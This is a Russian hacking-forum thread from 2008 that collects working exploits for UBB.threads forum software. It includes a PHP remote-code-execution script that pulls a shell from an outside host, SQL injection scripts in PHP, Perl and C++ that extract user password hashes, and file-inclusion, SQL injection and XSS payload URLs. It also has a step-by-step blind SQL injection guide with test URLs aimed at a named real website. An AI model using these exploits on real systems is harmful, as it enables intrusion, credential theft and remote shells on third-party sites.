Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей UBB.threads] (https://forum.antichat.xyz/showthread.php?t=85111)

iddqd 25.01.2008 02:46

[Обзор уязвимостей UBB.threads]
 
Vendor: http://www.ubbcentral.com/

Code Execution (doeditconfig.php)

Vulnerable: UBB.threads <= 6.5.1.1

Exploit:

PHP код:

#!/usr/bin/php -q -d short_open_tag=on
<?
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */
');
if ($argc<2) {
    print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
    die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
$page=$url.$exploit;
Function get_page($url)
{

    if(function_exists("file_get_contents"))
    {

        $contents = file_get_contents($url);

    }
    else
    {
        $fp=fopen("$url","r");
        while($line=fread($fp,1024))
        {
            $contents=$contents.$line;
        }

    }
    return $contents;
}

$page    = get_page($page);

$newpage = get_page($url."calendar.php");

if(eregi("Cannot execute a blank command",$newpage))
{
    Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
    Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
?>

Multiple File Inclusion Vulnerabilities


Vulnerable: UBBThreads 5.x,6.x

Note: register_globals=on

Exploit:

Код:

http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00

http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt?

http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00

If php version < 4.1.0 or UBB version <= 5.x

http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt?

http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00

XSS

Vulnerable: UBBThreads 5.x,6.x

Exploit:

Код:

http://[site]/[ubbpath]/index.php?debug=<script>alert();</script>
SQL Injection (mailthread.php)

Vulnerable: UBB Threads < 6.5.2 Beta

Exploit:

PHP код:

<?php
#############################################################################
#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   UBBCentral SQL Injection
#
# Exploit By :  MH_p0rtal
#
# Discovered By: James Bercegay
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url "http:///www.example.com";
# please replace your dir address :
$dirs "/dir/to/ubbt/";
# __________End Config
#############################################################################
$aa strlen $dirs );
$ab $aa 1;
$ac 0;
if ((  
$dirs[$ab] == "/" )  &&  ( $dirs[$ac] == "/" ))   {
$merg $dirs.mailthread.php;
$fc fsockopen("$url"80$errno$errstr30);
if (!
$fc) {

echo 
"Can't Connect\n";
} else {
   
$mh "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n";
   
$mh .= "Host: $url\r\n";
   
$mh .= "Connection: Close\r\n\r\n";

  
fwrite($fc$mh);
  while (!
feof($fc)) {
  echo 
fgets($fc1024);
  }
   
fclose($fc);
}
} else {
echo 
" Your pattern doesn't equal with Exploit directory pattern ";
}
?>

One char bruteforce

Vulnerable: UBB.Threads 6.2.* - 6.3.*

Exploit:

Код:

#!/usr/bin/perl

use LWP::UserAgent;

# UBB.Threads 6.2.* - 6.3.* exploit
# with one char brute technique
# by 1dt.w0lf // r57

$path    = $ARGV[0];
$username = $ARGV[1];

$s_num = 1;
$n=0;
$|++;

if (@ARGV < 2) { &usage; }

print "Please wait...\r\n";
print "[";

while(1)
{
# начинаем перебор с полного диапазона
&found(0,122); 
# если возвращенный код 0 значит дошли до конца строки и выводим полученный результат
if ($char=="0") 
 {
 print "]\r\n\r\n";
 # разделяем полученную строку на логин и пароль
 ($res1,$res2)=split(":",$allchar);  #
 print "------------------x REPORT x-------------------\r\n";
 print "      Username: $username\r\n";
 print "    Login Name: $res1\r\n";
 print " Password Hash: $res2\r\n";
 print "------------------x REPORT x-------------------\r\n";
 print "total requests: $n\r\n";
 exit();
 }
else
 {
 # преобразуем полученный код в символ и добавляем его к строке результата
 print "|";
 $allchar .= chr($char);
 }
# увеличиваем позицию символа на единицу и продолжаем перебор
$s_num++;
}



sub found($$)
 {
 # определяем переданный диапазон
 my $fmin = $_[0];
 my $fmax = $_[1];
 # если диапазон менее 5 то переходим к перебору
 if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
 # определяем центр диапазона
 $r = int($fmax - ($fmax-$fmin)/2);
 # делаем условие
 $check = ">$r";
 # и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r+1); }
 }
 
sub crack($$)
 {
 # определяем переданный диапазон
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 # и проходим по каждому значению из диапазона
 while ($i<$cmax)
  {
  # делаем условие
  $crcheck = "=$i";
  # проверяем его
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 return;
 }
 
sub check($)
 {
 # увеличиваем количество запросов
 $n++;
 # определяем условие
 $ccheck = $_[0];
 # создаем http запрос к серверу
 $http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
 
 # Если вы хотите видеть все запросы отправляемые к скрипту
 # то расскоментируйте следующую строку
 # print "\r\n $http_query \r\n";
 
 $mcb_reguest = LWP::UserAgent->new() or die;
 # получаем ответ сервера
 $res = $mcb_reguest->post($http_query);
 @results = $res->content;
 # проверяем ответ сервера на наличие строки
 foreach $result(@results)
  {
  if ($result =~ /<td class=\"lighttable\">/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "=========================================================\r\n";
 print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
 print " For all MySQL versions! Don't need UNION support!\r\n";
 print "=========================================================\r\n";
 print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
 print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
 print "=========================================================\r\n";
 exit();
 }

Printthread.PHP SQL Injection Vulnerability

Vulnerable: UBB.threads 6.0

Exploit:

Код:

//HLLUBBThreadsExploit.cpp
/*
  4. Exploitation

UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability

Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any vaild forum name> <user id>
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php UBB3 2
Vulnerability discovered by: Axl
Exploit Coded by HLL: hllhll <at> gmail.com

*/
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#pragma comment (lib,"ws2_32")

void usage(char *argv[])
{
        cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: HLL" << endl;
        cout << "[+] Usage:" << endl;
        cout << "[+] " << argv[0] << " <hostname> <path to printthread.php> <Any vaild forum name> <user name> " << endl;
        cout << "[+] " << argv[0] << " www.host.com /ubbthreads/printthread.php UBB3 HLL" << endl;
}


int main(int argc, char *argv[]){


        WSADATA wsaData;
        struct sockaddr_in saddr;
        WSAStartup(MAKEWORD(1, 1), &wsaData);
        struct hostent *h;
        char hash[34]={0};
        int rcvlen;
        char ch;
        int flag, pos;
        int countwait;
        SOCKET sock;
        char req[400];
        char buf[600];
        char rcvbuf[10000];
        char rcvtmpbuf[1024];

        char *host=argv[1]; //Server
        char *path=argv[2]; // Path to /ubbthreads/printthread.php
        char *fname=argv[3]; //Forum name
        int uid=atoi(argv[4]); //User id

        if (argv!=5){
                usage(argv);
                return(0);
        }
        //Resolve address (will work also if this is an IP)
        cout << "[+] Resolving host... ";
        if (!(h=gethostbyname(host)))
        {
                cout << "FAILD!" << endl;
                return(1);
        }
        cout << "Done." << endl;

        saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
        memset(saddr.sin_zero, 0, 8);
        saddr.sin_port=htons(80);
        saddr.sin_family=AF_INET;


        cout << "[+] Exploiting target... " << endl;
        for (pos=1; pos<=32; pos++)
        {
                for (ch='0'; ch<='F'; ch++)
                {
                        if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 )
                        {
                                cout << "FAILD CREATING SOCKET!" << endl;
                                return(1);
                        }


                        if (ch==':') ch='A'; //If finished all digits, jump to hex digits

                        //Prepare reqest
                        sprintf(req,
"%s?Board=%s&type=post&main=-99'%%20UNION%%20SELECT%%20B_Number,B_Posted%%20FROM%%20w3t_Posts,w3t_Users%%20WHERE%%20((MID(U_Password,%d,1)='%c')", path, fname, pos, ch,
pos, ch+32);
                        if (ch>='A' && ch<='Z')
                                sprintf(req, "%sOR%%20(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
                        sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
                        sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * /*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; DigExt)\r\nHost: %s \r\n\r\n", req,
host);

                        connect(sock, (struct sockaddr *)&saddr, sizeof(struct sockaddr) );
                        send(sock, buf, strlen(buf), 0);
                        cout << "[+] Char: " << ch << endl;

                        //Loop untill disconnection or recognized string
                        flag=0;
                        countwait=0;
                        *rcvbuf=NULL;
                        while(!flag){
                                Sleep(30);

                                if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 0))>0){
                                        rcvtmpbuf[rcvlen]=NULL;
                                        strcat(rcvbuf, rcvtmpbuf);

                                }

                                if ( (++countwait) == 30)
                                        flag=2;
                                if ( strstr(rcvbuf, "SQL Error"))
                                        flag=1;
                        }
                        if (flag==1){ //Char found
                                cout << "[+] Char " << ch << " In pos " << pos << endl;
                                hash[pos-1]=ch;
                                ch='G';
                        }
                        closesocket(sock);
                }

        }


        hash[32]=NULL;
        cout << endl << "The hash for user id" << uid << "is: " << hash << endl;
        WSACleanup();
        return (0);
}

Editpost.PHP SQL Injection

Vulnerable: UBB.threads 6.0

PoC:

Код:

http://www.example.com/[path]/editpost.php?Cat=X&Board=X&Number=1'%20OR%20'a'='a
Multiple SQL Injection Vulnerabilities

Vulnerable: UBB.threads 6.5.1.1
UBB.threads 6.5.1
UBB.threads 6.5
UBB.threads 6.2.3
UBB.threads 6.0


PoC:

Код:

http://www.example.com/ubbt/download.php?Number=42227[SQL]
http://www.example.com/ubbt/calendar.php?Cat=7&month=6&year=2005[SQL]
http://www.example.com/ubbt/calendar.php?Cat=&month=7[SQL]&year=2005
http://www.example.com/ubbt/modifypost.phpCat=0&Username=foobar&Number=[SQL]&Board=UBB8&page=0&what=showflat&fpart=&vc=1&Approved=yes&convert=markup&Subject=Re%3A+Pruning+old+posts&Icon=book.gif&Body=yup&markedit=1&addsig=1&preview=1&peditdelete=Delete+this+post
http://www.example.com/ubbt/mailthread.php?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat
http://www.example.com/ubbt/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,U_Username,U_Password,0,0%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'foobar'/*&status=N&box=received
http://www.example.com/ubbt/addfav.php?Cat=0&Board=UBB2&main=41654[SQL]&type=reminder&Number=41654&page=0&vc=1&fpart=1&what=showflat
http://www.example.com/ubbt/notifymod.php?Cat=0&Board=UBB5&Number=42173[SQL]&page=0&what=showthreaded
http://www.example.com/ubbt/grabnext.php?Cat=4&Board=UBB23&mode=showflat&sticky=0&dir=old&posted=1045942715[SQL]

Multiple Cross-Site Scripting Vulnerabilities

Vulnerable: UBB.threads 6.5.1.1
UBB.threads 6.5.1
UBB.threads 6.5
UBB.threads 6.2.3
UBB.threads 6.0


PoC:

Код:

http://www.example.com/ubbt/dosearch.php?Cat=0&Searchpage=2[XSS]&topic=
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818[XSS]&page=0&what=showflat&fpart=1&vc=1
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0&what=showflat[XSS]&fpart=1&vc=1
http://www.example.com/ubbt/newreply.php?Cat=0&Board=UBB8&Number=39818&page=0[XSS]&what=showflat&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818[XSS]&Board=UBB8&what=showflat&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8[XSS]&what=showflat&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showprofile.php?Cat=0&User=7&Number=39818&Board=UBB8&what=showflat[XSS]&page=0&fpart=1&vc=1
http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0&fpart=all[XSS]
http://www.example.com/ubbt/showflat.php?Cat=0&Board=UBB5&Number=42173&page=0[XSS]&fpart=all
http://www.example.com/ubbt/showmembers.php?Cat=&like=p[XSS]&sb=1&page=1

Dosearch.PHP SQL Injection Vulnerability

Vulnerable: UBB.threads 3.5
UBB.threads 3.4


Exploit:

Код:

www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695

Или

www.example.com/dosearch.php?Name=' OR U_Password='db5c82346d770f48bdd8929094c0c695'/*

Showflat.PHP SQL Injection Vulnerability

Vulnerable: UBB.threads 6.3

PoC:

Код:

http://www.example.com/showflat.php?Cat=&Number=19229%20UNION%20SELECT%201,2%20/*&page=0&view=collapsed&sb=5&o=&fpart=1

Grey 17.09.2008 02:58

[Обзор уязвимостей UBB.threads]
 
Вложений: 1
Уязвимость: Слепая SQL инъекция

Уязвимый продукт: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
Дата публикации уязвимости на секлабе: 09 сентября, 2008
Описание на секлабе: http://www.securitylab.ru/vulnerability/359080.php
Более подробное, но достаточно ущербное и кривое описание: http://www.gulftech.org/?node=resear...00130-09082008

Прочли описание? Много поняли? НЕТ? С чего бы это... а ещё ведь удвиляетесь почему многие копипасты оцениваются минусами

Разобрался что к чему и сделал нормальное описание:

Требования для успешной эксплуатации уязвимости:

1. Версия форума: "UBB.threads 7.3.1 до 02.09.2008, и более ранние версии"
2. На форуме должна быть создана хотя бы одна тема
3. У вас должен быть аккаунт (т.к. опция поиска доступна только для зарегистрированных пользователей)
4. Версия mysql >= 4.1 (т.к. только с этой версии появились подзапросы)
5. Нужно знать префикс таблиц.
6. Предположительно! мейджик_квотс = офф

Описание уязвимости (мои заметки):

SQL инъекция, пусть и слепая - звучит скучно и заезженно, но не в этом случае.
Данные передаваемые в параметр Forum[] не фильтруются, но обрабатываются далеко не самым лучшим для нас образом:


1. Проблема в том что использовать запятые в запросе нельзя:

PHP код:

if (preg_match("/^f/",$Forum[$i])) {
$bnum str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',";

$boardin preg_replace("/,$/","",$boardin);

if (
$boardin) {
$boardin "FORUM_ID IN ($boardin)";


Но тем не менее получить этот символ мы можем (хотя он нам и не нужен). Дело в том что передавать данные параметру (массиву) Forum[] можно несколькими строками.
И эти строки будут объеденяться, но их объеденение так же проблемно:


т.к. к каждой строке добавляется кавычка (как в начало, так и в конец, т.е. строка обрамляется в кавычки), и сами строки при этом разделяются запятыми.

т.е. отправляя: Forum[]=f1&Forum[]=f222, получаем:

'1','222'

Самым простым запросом будет:

Forum[]=f1')) AND 1=1/*

Что бы получать данные из подзапросов пришлось отойти от использования стандартной конструкции с использованием функции substring().
И использовть для подбора данных поиск с помощью опратора LIKE:


Код:

Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '0%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '1%')=1/*'))
Forum[]=1')) AND (SELECT 1 FROM 123123123_USERS WHERE USER_ID=2 AND UPPER(USER_PASSWORD) LIKE '12%')=1/*'))

Т.е. мы фактически подбираем ХЕШ пользователя с помощью оператора LIKE.

Способ это не самый рациональный, но в данном случае он рабочий, а это главное (способ с использованием функции substring() к сожалению получался ограниченным на вывод только числовых данных из-за специфичности моей конструкции, но другой я придумать не смог).

Всего нужно запросов для получения ХЕША: 32*16=512 - не так и много, хотя и не мало.

2. Ещё одна проблема, которая по началу сильно мне насолила, это вырезание символов "c", "f":

PHP код:

if (preg_match("/^c/",$Forum[$i])) {
$cnum str_replace("c","",$Forum[$i]);
$catin .= "'$cnum',";
}
if (
preg_match("/^f/",$Forum[$i])) {
$bnum str_replace("f","",$Forum[$i]);
$boardin .= "'$bnum',"

Ничего в этом проблемного нет, т.к. обходится переводом символов в верхний регистр: "C", "F".
Но из-за отсутствия нормальный исходников (двиг платный, нуленных версий не много, а то что у меня было, было далеко не самым свежим) по началу принесло не мало гемора.

Эксплуатация уязвимости (мои заметки):

Т.к. раскручивал инъекцию я как слепую, а там, вроде, только так и можно, то нам понадобиться как то определять правильность выполнения запроса.
Делать мы это будет по нахождению результата при поиске слова (т.е. если в результате поиска что то находится, то запрос выполнен верно).
Для этого нам потребуется слово которое будет находиться в определённом форуме, делается это так:


1) Регимся на форуме (кстати там обычно активация по мылу нужна, так что регим левые ящики и вперёд).

2) Заходим к списку форумов, смотрим линк на какой либо форум, выглядеть это будет примерно так:

ubb=postlist&Board=58&page=1

В данном случае номер заданного форума (называть это разделом не совсем верно, т.к. раздел это нечто другое) = 58.

3) Заходим в выбранный форум и смотрим название какой либо темы, к примеру "Master spreadsheet..."

Берём какое либо слово из названия темы и пробуем его найти в указанном форуме (выбрать форум для поиска можно указав его название - в опциях поиска вы этой найдёте без труда).
Бац... и что то там нашлось - вот и отлично.

4)

Теперь пробуем, к примеру, через GET, такой запрос:

Код:

ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
, где: ubb=dosearch&fromsearch=1&checkwords=1 - необходимые параметры - их менять не нужно, Words=master слово, которое должно, обязательно, находиться и
f58'))+and+1%3D1/* 58 - НОМЕР ФОРУМА, '))+and+1%3D1/* наш запрос ( and 1=1/*).

Т.к. заданное условие, обязательно, выполнится, то если форум уязвим вы увидим что искомое слово нашлось, как и было раньше.

Теперь пробуем так:

Код:

ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Т.к. заданное условие ( and 1=2/*) не выполнимо, то искомое слово не должно найтись!

Судить о том уязвим форум или нет, можно и нужно только если в первом случае мы видим результат, а во втором нет (т.е. нужны две проверки - на правильность и не правильность выполнения условия).

Вот на примере конкретного сайта:

* Не забудьте зарегестрироваться - опция поиска доступна только зарегистрированным пользователям.

Слово найдено:

Код:

http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D1/*
Слово не найдено:

Код:

http://www.findagrave.com/forums/ubbthreads.php?ubb=dosearch&fromsearch=1&checkwords=1&Words=master&Forum[]=f58'))+and+1%3D2/*
Так ну вот собственно и всё - как выдирать данные посимвольно я показал выше, не забудьте про филтрацию символов "c", "f" - они фигурируют во многих операторах.
Вот только сказать "вперёд и с песней" я не могу, т.к. руками это эксплуатировать - не реал.

Написал простенький и в некоторой степени кривой сплоент - выдирает он только ХЕШ пользователя с указанным номером.

Как пользоваться моим сплоентом:

1. Регимся на форуме, смотрим свои куки - они пригодятся, т.к. сплоент без них работать не будет.
2. Вписываем данные в сплоент (если вы читали всё что написано выше, то понять что туда вписывать труда не составит + там все что нужно про комментированно).
3. Заливаем куда нидь сплоент и запускаем (т.к. написан он на скорую руку, то немного кривоват, что в свою очередь отражается на скорости его работы (минут 20)).
4. Получаем ХЕШ указанного пользователя.

Учтите одного ХЕША будет мало, т.к. отображаемое имя и используемое как логин - могут быть разными.
Переписать сплоент под себя, исправив этот недостаток не так и сложно для того кто разбирается в том что у чему, остальные... халявщики, а это не тру (своего рода это зашита от дурака), в противном случае расчитывайте на совпадение отображаемого имени и логина.

Дополнительная информация:

Алгоритм хеширования: md5()
Префикс по дефолту: ubbt_
Таблица с пользователями: prefix_USERS
Колонки в таблице пользователей: USER_ID, USER_LOGIN_NAME, USER_PASSWORD, USER_MEMBERSHIP_LEVEL (остальные не пригодятся)

Вот приблизительно так и надо дорабатывать копипасты.

mailbrush 17.09.2008 22:10

Grey, не успела появится уязвимость, как на следующий день появились патчи для форума, которые инйекцию прикрывают...

UBB.threads 7.3.1 (обновленная) - патч для уязвимости к SQL-инъекции
http://www.ubbcentral.com/forums/ubb...topics/216722/


Время: 02:02